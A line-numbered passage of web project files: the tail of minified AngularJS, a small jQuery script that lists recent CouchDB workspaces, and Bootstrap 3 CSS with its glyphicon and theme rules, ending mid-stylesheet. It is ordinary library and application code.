198 C)}):(q=function(a,c){return Ka(c)},s=function(a){return a});l=g.match(/^(?:([\$\w]+)|\(([\$\w]+)\s*,\s*([\$\w]+)\))$/);if(!l)throw d("iidexp",g);t=l[3]||l[1];v=l[2];var A={};e.$watchCollection(k,function(a){var g,k,l=f[0],n,C={},J,E,F,x,z,y,H=[];if(fb(a))z=a,n=p||q;else{n=p||s;z=[];for(F in a)a.hasOwnProperty(F)&&"$"!=F.charAt(0)&&z.push(F);z.sort()}J=z.length;k=H.length=z.length;for(g=0;g<k;g++)if(F=a===z?g:z[g],x=a[F],x=n(F,x,g),Ca(x,"`track by` id"),A.hasOwnProperty(x))y=A[x],delete A[x],C[x]=
199 y,H[g]=y;else{if(C.hasOwnProperty(x))throw r(H,function(a){a&&a.scope&&(A[a.id]=a)}),d("dupes",h,x);H[g]={id:x};C[x]=!1}for(F in A)A.hasOwnProperty(F)&&(y=A[F],g=Eb(y.clone),c.leave(g),r(g,function(a){a.$$NG_REMOVED=!0}),y.scope.$destroy());g=0;for(k=z.length;g<k;g++){F=a===z?g:z[g];x=a[F];y=H[g];H[g-1]&&(l=H[g-1].clone[H[g-1].clone.length-1]);if(y.scope){E=y.scope;n=l;do n=n.nextSibling;while(n&&n.$$NG_REMOVED);y.clone[0]!=n&&c.move(Eb(y.clone),null,u(l));l=y.clone[y.clone.length-1]}else E=e.$new();
200 E[t]=x;v&&(E[v]=F);E.$index=g;E.$first=0===g;E.$last=g===J-1;E.$middle=!(E.$first||E.$last);E.$odd=!(E.$even=0===(g&1));y.scope||m(E,function(a){a[a.length++]=X.createComment(" end ngRepeat: "+h+" ");c.enter(a,null,u(l));l=a;y.scope=E;y.clone=a;C[y.id]=y})}A=C})}}}],zd=["$animate",function(a){return function(c,d,e){c.$watch(e.ngShow,function(c){a[Ta(c)?"removeClass":"addClass"](d,"ng-hide")})}}],sd=["$animate",function(a){return function(c,d,e){c.$watch(e.ngHide,function(c){a[Ta(c)?"addClass":"removeClass"](d,
201 "ng-hide")})}}],Ad=xa(function(a,c,d){a.$watch(d.ngStyle,function(a,d){d&&a!==d&&r(d,function(a,d){c.css(d,"")});a&&c.css(a)},!0)}),Bd=["$animate",function(a){return{restrict:"EA",require:"ngSwitch",controller:["$scope",function(){this.cases={}}],link:function(c,d,e,f){var g=[],k=[],m=[],h=[];c.$watch(e.ngSwitch||e.on,function(d){var n,p;n=0;for(p=m.length;n<p;++n)m[n].remove();n=m.length=0;for(p=h.length;n<p;++n){var q=k[n];h[n].$destroy();m[n]=q;a.leave(q,function(){m.splice(n,1)})}k.length=0;h.length=
202 0;if(g=f.cases["!"+d]||f.cases["?"])c.$eval(e.change),r(g,function(d){var e=c.$new();h.push(e);d.transclude(e,function(c){var e=d.element;k.push(c);a.enter(c,e.parent(),e)})})})}}}],Cd=xa({transclude:"element",priority:800,require:"^ngSwitch",link:function(a,c,d,e,f){e.cases["!"+d.ngSwitchWhen]=e.cases["!"+d.ngSwitchWhen]||[];e.cases["!"+d.ngSwitchWhen].push({transclude:f,element:c})}}),Dd=xa({transclude:"element",priority:800,require:"^ngSwitch",link:function(a,c,d,e,f){e.cases["?"]=e.cases["?"]||
203 [];e.cases["?"].push({transclude:f,element:c})}}),Fd=xa({link:function(a,c,d,e,f){if(!f)throw x("ngTransclude")("orphan",ha(c));f(function(a){c.empty();c.append(a)})}}),fd=["$templateCache",function(a){return{restrict:"E",terminal:!0,compile:function(c,d){"text/ng-template"==d.type&&a.put(d.id,c[0].text)}}}],We=x("ngOptions"),Ed=$({terminal:!0}),gd=["$compile","$parse",function(a,c){var d=/^\s*([\s\S]+?)(?:\s+as\s+([\s\S]+?))?(?:\s+group\s+by\s+([\s\S]+?))?\s+for\s+(?:([\$\w][\$\w]*)|(?:\(\s*([\$\w][\$\w]*)\s*,\s*([\$\w][\$\w]*)\s*\)))\s+in\s+([\s\S]+?)(?:\s+track\s+by\s+([\s\S]+?))?$/,
204 e={$setViewValue:y};return{restrict:"E",require:["select","?ngModel"],controller:["$element","$scope","$attrs",function(a,c,d){var m=this,h={},l=e,n;m.databound=d.ngModel;m.init=function(a,c,d){l=a;n=d};m.addOption=function(c){Ca(c,'"option value"');h[c]=!0;l.$viewValue==c&&(a.val(c),n.parent()&&n.remove())};m.removeOption=function(a){this.hasOption(a)&&(delete h[a],l.$viewValue==a&&this.renderUnknownOption(a))};m.renderUnknownOption=function(c){c="? "+Ka(c)+" ?";n.val(c);a.prepend(n);a.val(c);n.prop("selected",
205 !0)};m.hasOption=function(a){return h.hasOwnProperty(a)};c.$on("$destroy",function(){m.renderUnknownOption=y})}],link:function(e,g,k,m){function h(a,c,d,e){d.$render=function(){var a=d.$viewValue;e.hasOption(a)?(z.parent()&&z.remove(),c.val(a),""===a&&v.prop("selected",!0)):D(a)&&v?c.val(""):e.renderUnknownOption(a)};c.on("change",function(){a.$apply(function(){z.parent()&&z.remove();d.$setViewValue(c.val())})})}function l(a,c,d){var e;d.$render=function(){var a=new ab(d.$viewValue);r(c.find("option"),
206 function(c){c.selected=A(a.get(c.value))})};a.$watch(function(){za(e,d.$viewValue)||(e=ga(d.$viewValue),d.$render())});c.on("change",function(){a.$apply(function(){var a=[];r(c.find("option"),function(c){c.selected&&a.push(c.value)});d.$setViewValue(a)})})}function n(e,f,g){function k(){var a={"":[]},c=[""],d,h,s,t,w;s=g.$modelValue;t=v(e)||[];var E=n?Zb(t):t,I,M,B;M={};B=!1;if(q)if(h=g.$modelValue,u&&H(h))for(B=new ab([]),d={},w=0;w<h.length;w++)d[m]=h[w],B.put(u(e,d),h[w]);else B=new ab(h);w=B;
207 var D,J;for(B=0;I=E.length,B<I;B++){h=B;if(n){h=E[B];if("$"===h.charAt(0))continue;M[n]=h}M[m]=t[h];d=p(e,M)||"";(h=a[d])||(h=a[d]=[],c.push(d));q?d=A(w.remove(u?u(e,M):r(e,M))):(u?(d={},d[m]=s,d=u(e,d)===u(e,M)):d=s===r(e,M),w=w||d);D=l(e,M);D=A(D)?D:"";h.push({id:u?u(e,M):n?E[B]:B,label:D,selected:d})}q||(x||null===s?a[""].unshift({id:"",label:"",selected:!w}):w||a[""].unshift({id:"?",label:"",selected:!0}));M=0;for(E=c.length;M<E;M++){d=c[M];h=a[d];z.length<=M?(s={element:y.clone().attr("label",
208 d),label:h.label},t=[s],z.push(t),f.append(s.element)):(t=z[M],s=t[0],s.label!=d&&s.element.attr("label",s.label=d));D=null;B=0;for(I=h.length;B<I;B++)d=h[B],(w=t[B+1])?(D=w.element,w.label!==d.label&&D.text(w.label=d.label),w.id!==d.id&&D.val(w.id=d.id),D[0].selected!==d.selected&&(D.prop("selected",w.selected=d.selected),R&&D.prop("selected",w.selected))):(""===d.id&&x?J=x:(J=C.clone()).val(d.id).prop("selected",d.selected).attr("selected",d.selected).text(d.label),t.push({element:J,label:d.label,
209 id:d.id,selected:d.selected}),D?D.after(J):s.element.append(J),D=J);for(B++;t.length>B;)t.pop().element.remove()}for(;z.length>M;)z.pop()[0].element.remove()}var h;if(!(h=s.match(d)))throw We("iexp",s,ha(f));var l=c(h[2]||h[1]),m=h[4]||h[6],n=h[5],p=c(h[3]||""),r=c(h[2]?h[1]:m),v=c(h[7]),u=h[8]?c(h[8]):null,z=[[{element:f,label:""}]];x&&(a(x)(e),x.removeClass("ng-scope"),x.remove());f.empty();f.on("change",function(){e.$apply(function(){var a,c=v(e)||[],d={},h,l,p,s,w,x,y;if(q)for(l=[],s=0,x=z.length;s<
210 x;s++)for(a=z[s],p=1,w=a.length;p<w;p++){if((h=a[p].element)[0].selected){h=h.val();n&&(d[n]=h);if(u)for(y=0;y<c.length&&(d[m]=c[y],u(e,d)!=h);y++);else d[m]=c[h];l.push(r(e,d))}}else if(h=f.val(),"?"==h)l=t;else if(""===h)l=null;else if(u)for(y=0;y<c.length;y++){if(d[m]=c[y],u(e,d)==h){l=r(e,d);break}}else d[m]=c[h],n&&(d[n]=h),l=r(e,d);g.$setViewValue(l);k()})});g.$render=k;e.$watchCollection(v,k);q&&e.$watchCollection(function(){return g.$modelValue},k)}if(m[1]){var p=m[0];m=m[1];var q=k.multiple,
211 s=k.ngOptions,x=!1,v,C=u(X.createElement("option")),y=u(X.createElement("optgroup")),z=C.clone();k=0;for(var w=g.children(),B=w.length;k<B;k++)if(""===w[k].value){v=x=w.eq(k);break}p.init(m,x,z);q&&(m.$isEmpty=function(a){return!a||0===a.length});s?n(e,g,m):q?l(e,g,m):h(e,g,m,p)}}}}],id=["$interpolate",function(a){var c={addOption:y,removeOption:y};return{restrict:"E",priority:100,compile:function(d,e){if(D(e.value)){var f=a(d.text(),!0);f||e.$set("value",d.text())}return function(a,d,e){var h=d.parent(),
212 l=h.data("$selectController")||h.parent().data("$selectController");l&&l.databound?d.prop("selected",!1):l=c;f?a.$watch(f,function(a,c){e.$set("value",a);a!==c&&l.removeOption(c);l.addOption(a)}):l.addOption(e.value);d.on("$destroy",function(){l.removeOption(e.value)})}}}}],hd=$({restrict:"E",terminal:!0});Q.angular.bootstrap?console.log("WARNING: Tried to load angular more than once."):((Da=Q.jQuery)&&Da.fn.on?(u=Da,B(Da.fn,{scope:La.scope,isolateScope:La.isolateScope,controller:La.controller,injector:La.injector,
213 inheritedData:La.inheritedData}),Gb("remove",!0,!0,!1),Gb("empty",!1,!1,!1),Gb("html",!1,!1,!0)):u=S,Ua.element=u,$c(Ua),u(X).ready(function(){Xc(X,fc)}))})(window,document);!window.angular.$$csp()&&window.angular.element(document).find("head").prepend('<style type="text/css">@charset "UTF-8";[ng\\:cloak],[ng-cloak],[data-ng-cloak],[x-ng-cloak],.ng-cloak,.x-ng-cloak,.ng-hide{display:none !important;}ng\\:form{display:block;}.ng-animate-block-transitions{transition:0s all!important;-webkit-transition:0s all!important;}.ng-hide-add-active,.ng-hide-remove{display:block!important;}</style>');
214 //# sourceMappingURL=angular.min.js.map
0 // Apache 2.0 J Chris Anderson 2011
1 $(function() {
2 // friendly helper http://tinyurl.com/6aow6yn
3 $.fn.serializeObject = function() {
4 var o = {};
5 var a = this.serializeArray();
6 $.each(a, function() {
7 if (o[this.name]) {
8 if (!o[this.name].push) {
9 o[this.name] = [o[this.name]];
10 }
11 o[this.name].push(this.value || '');
12 } else {
13 o[this.name] = this.value || '';
14 }
15 });
16 return o;
17 };
18
19 var path = unescape(document.location.pathname).split('/'),
20 design = path[3],
21 db = $.couch.db(path[1]);
22 function drawItems() {
23 db.view(design + "/recent-workspaces", {
24 descending : "true",
25 limit : 50,
26 update_seq : true,
27 success : function(data) {
28 setupChanges(data.update_seq);
29 var them = $.mustache($("#workspaces").html(), {
30 items : data.rows.map(function(r) {return r.value;})
31 });
32 $("#content").html(them);
33 }
34 });
35 };
36 drawItems();
37 var changesRunning = false;
38 function setupChanges(since) {
39 if (!changesRunning) {
40 var changeHandler = db.changes(since);
41 changesRunning = true;
42 changeHandler.onChange(drawItems);
43 }
44 }
45 $.couchProfile.templates.profileReady = $("workspaces").html();
46 });
0 /*!
1 * Bootstrap v3.0.0
2 *
3 * Copyright 2013 Twitter, Inc
4 * Licensed under the Apache License v2.0
5 * http://www.apache.org/licenses/LICENSE-2.0
6 *
7 * Designed and built with all the love in the world @twitter by @mdo and @fat.
8 */
9
10
11 article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block;}
12 audio,canvas,video{display:inline-block;}
13 audio:not([controls]){display:none;height:0;}
14 [hidden]{display:none;}
15 html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;}
16 body{margin:0;}
17 a:focus{outline:thin dotted;}
18 a:active,a:hover{outline:0;}
19 h1{font-size:2em;margin:0.67em 0;}
20 abbr[title]{border-bottom:1px dotted;}
21 b,strong{font-weight:bold;}
22 dfn{font-style:italic;}
23 hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0;}
24 mark{background:#ff0;color:#000;}
25 code,kbd,pre,samp{font-family:monospace, serif;font-size:1em;}
26 pre{white-space:pre-wrap;}
27 q{quotes:"\201C" "\201D" "\2018" "\2019";}
28 small{font-size:80%;}
29 sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline;}
30 sup{top:-0.5em;}
31 sub{bottom:-0.25em;}
32 img{border:0;}
33 svg:not(:root){overflow:hidden;}
34 figure{margin:0;}
35 fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:0.35em 0.625em 0.75em;}
36 legend{border:0;padding:0;}
37 button,input,select,textarea{font-family:inherit;font-size:100%;margin:0;}
38 button,input{line-height:normal;}
39 button,select{text-transform:none;}
40 button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer;}
41 button[disabled],html input[disabled]{cursor:default;}
42 input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0;}
43 input[type="search"]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;}
44 input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none;}
45 button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0;}
46 textarea{overflow:auto;vertical-align:top;}
47 table{border-collapse:collapse;border-spacing:0;}
48 *,*:before,*:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}
49 html{font-size:62.5%;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);}
50 body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.428571429;color:#333333;background-color:#ffffff;}
51 input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit;}
52 button,input,select[multiple],textarea{background-image:none;}
53 a{color:#428bca;text-decoration:none;}a:hover,a:focus{color:#2a6496;text-decoration:underline;}
54 a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}
55 img{vertical-align:middle;}
56 .img-responsive{display:block;max-width:100%;height:auto;}
57 .img-rounded{border-radius:6px;}
58 .img-thumbnail{padding:4px;line-height:1.428571429;background-color:#ffffff;border:1px solid #dddddd;border-radius:4px;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;display:inline-block;max-width:100%;height:auto;}
59 .img-circle{border-radius:50%;}
60 hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eeeeee;}
61 .sr-only{position:absolute;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0 0 0 0);border:0;}
62 @font-face{font-family:'Glyphicons Halflings';src:url('../fonts/glyphicons-halflings-regular.eot');src:url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'),url('../fonts/glyphicons-halflings-regular.woff') format('woff'),url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'),url('../fonts/glyphicons-halflings-regular.svg#glyphicons-halflingsregular') format('svg');}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons Halflings';font-style:normal;font-weight:normal;line-height:1;-webkit-font-smoothing:antialiased;}
63 .glyphicon-asterisk:before{content:"\2a";}
64 .glyphicon-plus:before{content:"\2b";}
65 .glyphicon-euro:before{content:"\20ac";}
66 .glyphicon-minus:before{content:"\2212";}
67 .glyphicon-cloud:before{content:"\2601";}
68 .glyphicon-envelope:before{content:"\2709";}
69 .glyphicon-pencil:before{content:"\270f";}
70 .glyphicon-glass:before{content:"\e001";}
71 .glyphicon-music:before{content:"\e002";}
72 .glyphicon-search:before{content:"\e003";}
73 .glyphicon-heart:before{content:"\e005";}
74 .glyphicon-star:before{content:"\e006";}
75 .glyphicon-star-empty:before{content:"\e007";}
76 .glyphicon-user:before{content:"\e008";}
77 .glyphicon-film:before{content:"\e009";}
78 .glyphicon-th-large:before{content:"\e010";}
79 .glyphicon-th:before{content:"\e011";}
80 .glyphicon-th-list:before{content:"\e012";}
81 .glyphicon-ok:before{content:"\e013";}
82 .glyphicon-remove:before{content:"\e014";}
83 .glyphicon-zoom-in:before{content:"\e015";}
84 .glyphicon-zoom-out:before{content:"\e016";}
85 .glyphicon-off:before{content:"\e017";}
86 .glyphicon-signal:before{content:"\e018";}
87 .glyphicon-cog:before{content:"\e019";}
88 .glyphicon-trash:before{content:"\e020";}
89 .glyphicon-home:before{content:"\e021";}
90 .glyphicon-file:before{content:"\e022";}
91 .glyphicon-time:before{content:"\e023";}
92 .glyphicon-road:before{content:"\e024";}
93 .glyphicon-download-alt:before{content:"\e025";}
94 .glyphicon-download:before{content:"\e026";}
95 .glyphicon-upload:before{content:"\e027";}
96 .glyphicon-inbox:before{content:"\e028";}
97 .glyphicon-play-circle:before{content:"\e029";}
98 .glyphicon-repeat:before{content:"\e030";}
99 .glyphicon-refresh:before{content:"\e031";}
100 .glyphicon-list-alt:before{content:"\e032";}
101 .glyphicon-flag:before{content:"\e034";}
102 .glyphicon-headphones:before{content:"\e035";}
103 .glyphicon-volume-off:before{content:"\e036";}
104 .glyphicon-volume-down:before{content:"\e037";}
105 .glyphicon-volume-up:before{content:"\e038";}
106 .glyphicon-qrcode:before{content:"\e039";}
107 .glyphicon-barcode:before{content:"\e040";}
108 .glyphicon-tag:before{content:"\e041";}
109 .glyphicon-tags:before{content:"\e042";}
110 .glyphicon-book:before{content:"\e043";}
111 .glyphicon-print:before{content:"\e045";}
112 .glyphicon-font:before{content:"\e047";}
113 .glyphicon-bold:before{content:"\e048";}
114 .glyphicon-italic:before{content:"\e049";}
115 .glyphicon-text-height:before{content:"\e050";}
116 .glyphicon-text-width:before{content:"\e051";}
117 .glyphicon-align-left:before{content:"\e052";}
118 .glyphicon-align-center:before{content:"\e053";}
119 .glyphicon-align-right:before{content:"\e054";}
120 .glyphicon-align-justify:before{content:"\e055";}
121 .glyphicon-list:before{content:"\e056";}
122 .glyphicon-indent-left:before{content:"\e057";}
123 .glyphicon-indent-right:before{content:"\e058";}
124 .glyphicon-facetime-video:before{content:"\e059";}
125 .glyphicon-picture:before{content:"\e060";}
126 .glyphicon-map-marker:before{content:"\e062";}
127 .glyphicon-adjust:before{content:"\e063";}
128 .glyphicon-tint:before{content:"\e064";}
129 .glyphicon-edit:before{content:"\e065";}
130 .glyphicon-share:before{content:"\e066";}
131 .glyphicon-check:before{content:"\e067";}
132 .glyphicon-move:before{content:"\e068";}
133 .glyphicon-step-backward:before{content:"\e069";}
134 .glyphicon-fast-backward:before{content:"\e070";}
135 .glyphicon-backward:before{content:"\e071";}
136 .glyphicon-play:before{content:"\e072";}
137 .glyphicon-pause:before{content:"\e073";}
138 .glyphicon-stop:before{content:"\e074";}
139 .glyphicon-forward:before{content:"\e075";}
140 .glyphicon-fast-forward:before{content:"\e076";}
141 .glyphicon-step-forward:before{content:"\e077";}
142 .glyphicon-eject:before{content:"\e078";}
143 .glyphicon-chevron-left:before{content:"\e079";}
144 .glyphicon-chevron-right:before{content:"\e080";}
145 .glyphicon-plus-sign:before{content:"\e081";}
146 .glyphicon-minus-sign:before{content:"\e082";}
147 .glyphicon-remove-sign:before{content:"\e083";}
148 .glyphicon-ok-sign:before{content:"\e084";}
149 .glyphicon-question-sign:before{content:"\e085";}
150 .glyphicon-info-sign:before{content:"\e086";}
151 .glyphicon-screenshot:before{content:"\e087";}
152 .glyphicon-remove-circle:before{content:"\e088";}
153 .glyphicon-ok-circle:before{content:"\e089";}
154 .glyphicon-ban-circle:before{content:"\e090";}
155 .glyphicon-arrow-left:before{content:"\e091";}
156 .glyphicon-arrow-right:before{content:"\e092";}
157 .glyphicon-arrow-up:before{content:"\e093";}
158 .glyphicon-arrow-down:before{content:"\e094";}
159 .glyphicon-share-alt:before{content:"\e095";}
160 .glyphicon-resize-full:before{content:"\e096";}
161 .glyphicon-resize-small:before{content:"\e097";}
162 .glyphicon-exclamation-sign:before{content:"\e101";}
163 .glyphicon-gift:before{content:"\e102";}
164 .glyphicon-leaf:before{content:"\e103";}
165 .glyphicon-eye-open:before{content:"\e105";}
166 .glyphicon-eye-close:before{content:"\e106";}
167 .glyphicon-warning-sign:before{content:"\e107";}
168 .glyphicon-plane:before{content:"\e108";}
169 .glyphicon-random:before{content:"\e110";}
170 .glyphicon-comment:before{content:"\e111";}
171 .glyphicon-magnet:before{content:"\e112";}
172 .glyphicon-chevron-up:before{content:"\e113";}
173 .glyphicon-chevron-down:before{content:"\e114";}
174 .glyphicon-retweet:before{content:"\e115";}
175 .glyphicon-shopping-cart:before{content:"\e116";}
176 .glyphicon-folder-close:before{content:"\e117";}
177 .glyphicon-folder-open:before{content:"\e118";}
178 .glyphicon-resize-vertical:before{content:"\e119";}
179 .glyphicon-resize-horizontal:before{content:"\e120";}
180 .glyphicon-hdd:before{content:"\e121";}
181 .glyphicon-bullhorn:before{content:"\e122";}
182 .glyphicon-certificate:before{content:"\e124";}
183 .glyphicon-thumbs-up:before{content:"\e125";}
184 .glyphicon-thumbs-down:before{content:"\e126";}
185 .glyphicon-hand-right:before{content:"\e127";}
186 .glyphicon-hand-left:before{content:"\e128";}
187 .glyphicon-hand-up:before{content:"\e129";}
188 .glyphicon-hand-down:before{content:"\e130";}
189 .glyphicon-circle-arrow-right:before{content:"\e131";}
190 .glyphicon-circle-arrow-left:before{content:"\e132";}
191 .glyphicon-circle-arrow-up:before{content:"\e133";}
192 .glyphicon-circle-arrow-down:before{content:"\e134";}
193 .glyphicon-globe:before{content:"\e135";}
194 .glyphicon-tasks:before{content:"\e137";}
195 .glyphicon-filter:before{content:"\e138";}
196 .glyphicon-fullscreen:before{content:"\e140";}
197 .glyphicon-dashboard:before{content:"\e141";}
198 .glyphicon-heart-empty:before{content:"\e143";}
199 .glyphicon-link:before{content:"\e144";}
200 .glyphicon-phone:before{content:"\e145";}
201 .glyphicon-usd:before{content:"\e148";}
202 .glyphicon-gbp:before{content:"\e149";}
203 .glyphicon-sort:before{content:"\e150";}
204 .glyphicon-sort-by-alphabet:before{content:"\e151";}
205 .glyphicon-sort-by-alphabet-alt:before{content:"\e152";}
206 .glyphicon-sort-by-order:before{content:"\e153";}
207 .glyphicon-sort-by-order-alt:before{content:"\e154";}
208 .glyphicon-sort-by-attributes:before{content:"\e155";}
209 .glyphicon-sort-by-attributes-alt:before{content:"\e156";}
210 .glyphicon-unchecked:before{content:"\e157";}
211 .glyphicon-expand:before{content:"\e158";}
212 .glyphicon-collapse-down:before{content:"\e159";}
213 .glyphicon-collapse-up:before{content:"\e160";}
214 .glyphicon-log-in:before{content:"\e161";}
215 .glyphicon-flash:before{content:"\e162";}
216 .glyphicon-log-out:before{content:"\e163";}
217 .glyphicon-new-window:before{content:"\e164";}
218 .glyphicon-record:before{content:"\e165";}
219 .glyphicon-save:before{content:"\e166";}
220 .glyphicon-open:before{content:"\e167";}
221 .glyphicon-saved:before{content:"\e168";}
222 .glyphicon-import:before{content:"\e169";}
223 .glyphicon-export:before{content:"\e170";}
224 .glyphicon-send:before{content:"\e171";}
225 .glyphicon-floppy-disk:before{content:"\e172";}
226 .glyphicon-floppy-saved:before{content:"\e173";}
227 .glyphicon-floppy-remove:before{content:"\e174";}
228 .glyphicon-floppy-save:before{content:"\e175";}
229 .glyphicon-floppy-open:before{content:"\e176";}
230 .glyphicon-credit-card:before{content:"\e177";}
231 .glyphicon-transfer:before{content:"\e178";}
232 .glyphicon-cutlery:before{content:"\e179";}
233 .glyphicon-header:before{content:"\e180";}
234 .glyphicon-compressed:before{content:"\e181";}
235 .glyphicon-earphone:before{content:"\e182";}
236 .glyphicon-phone-alt:before{content:"\e183";}
237 .glyphicon-tower:before{content:"\e184";}
238 .glyphicon-stats:before{content:"\e185";}
239 .glyphicon-sd-video:before{content:"\e186";}
240 .glyphicon-hd-video:before{content:"\e187";}
241 .glyphicon-subtitles:before{content:"\e188";}
242 .glyphicon-sound-stereo:before{content:"\e189";}
243 .glyphicon-sound-dolby:before{content:"\e190";}
244 .glyphicon-sound-5-1:before{content:"\e191";}
245 .glyphicon-sound-6-1:before{content:"\e192";}
246 .glyphicon-sound-7-1:before{content:"\e193";}
247 .glyphicon-copyright-mark:before{content:"\e194";}
248 .glyphicon-registration-mark:before{content:"\e195";}
249 .glyphicon-cloud-download:before{content:"\e197";}
250 .glyphicon-cloud-upload:before{content:"\e198";}
251 .glyphicon-tree-conifer:before{content:"\e199";}
252 .glyphicon-tree-deciduous:before{content:"\e200";}
253 .glyphicon-briefcase:before{content:"\1f4bc";}
254 .glyphicon-calendar:before{content:"\1f4c5";}
255 .glyphicon-pushpin:before{content:"\1f4cc";}
256 .glyphicon-paperclip:before{content:"\1f4ce";}
257 .glyphicon-camera:before{content:"\1f4f7";}
258 .glyphicon-lock:before{content:"\1f512";}
259 .glyphicon-bell:before{content:"\1f514";}
260 .glyphicon-bookmark:before{content:"\1f516";}
261 .glyphicon-fire:before{content:"\1f525";}
262 .glyphicon-wrench:before{content:"\1f527";}
0 /*!
1 * Bootstrap v3.1.1 (http://getbootstrap.com)
2 * Copyright 2011-2014 Twitter, Inc.
3 * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
4 */
5
6 .btn-default,.btn-primary,.btn-success,.btn-info,.btn-warning,.btn-danger{text-shadow:0 -1px 0 rgba(0,0,0,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075)}.btn-default:active,.btn-primary:active,.btn-success:active,.btn-info:active,.btn-warning:active,.btn-danger:active,.btn-default.active,.btn-primary.active,.btn-success.active,.btn-info.active,.btn-warning.active,.btn-danger.active{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn:active,.btn.active{background-image:none}.btn-default{background-image:-webkit-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:linear-gradient(to bottom,#fff 0,#e0e0e0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#dbdbdb;text-shadow:0 1px 0 #fff;border-color:#ccc}.btn-default:hover,.btn-default:focus{background-color:#e0e0e0;background-position:0 -15px}.btn-default:active,.btn-default.active{background-color:#e0e0e0;border-color:#dbdbdb}.btn-primary{background-image:-webkit-linear-gradient(top,#428bca 0,#2d6ca2 100%);background-image:linear-gradient(to bottom,#428bca 0,#2d6ca2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca', endColorstr='#ff2d6ca2', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#2b669a}.btn-primary:hover,.btn-primary:focus{background-color:#2d6ca2;background-position:0 -15px}.btn-primary:active,.btn-primary.active{background-color:#2d6ca2;border-color:#2b669a}.btn-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:linear-gradient(to bottom,#5cb85c 0,#419641 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#3e8f3e}.btn-success:hover,.btn-success:focus{background-color:#419641;background-position:0 -15px}.btn-success:active,.btn-success.active{background-color:#419641;border-color:#3e8f3e}.btn-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:linear-gradient(to bottom,#5bc0de 0,#2aabd2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#28a4c9}.btn-info:hover,.btn-info:focus{background-color:#2aabd2;background-position:0 -15px}.btn-info:active,.btn-info.active{background-color:#2aabd2;border-color:#28a4c9}.btn-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:linear-gradient(to bottom,#f0ad4e 0,#eb9316 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#e38d13}.btn-warning:hover,.btn-warning:focus{background-color:#eb9316;background-position:0 -15px}.btn-warning:active,.btn-warning.active{background-color:#eb9316;border-color:#e38d13}.btn-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:linear-gradient(to bottom,#d9534f 0,#c12e2a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#b92c28}.btn-danger:hover,.btn-danger:focus{background-color:#c12e2a;background-position:0 -15px}.btn-danger:active,.btn-danger.active{background-color:#c12e2a;border-color:#b92c28}.thumbnail,.img-thumbnail{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-color:#e8e8e8}.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{background-image:-webkit-linear-gradient(top,#428bca 0,#357ebd 100%);background-image:linear-gradient(to bottom,#428bca 0,#357ebd 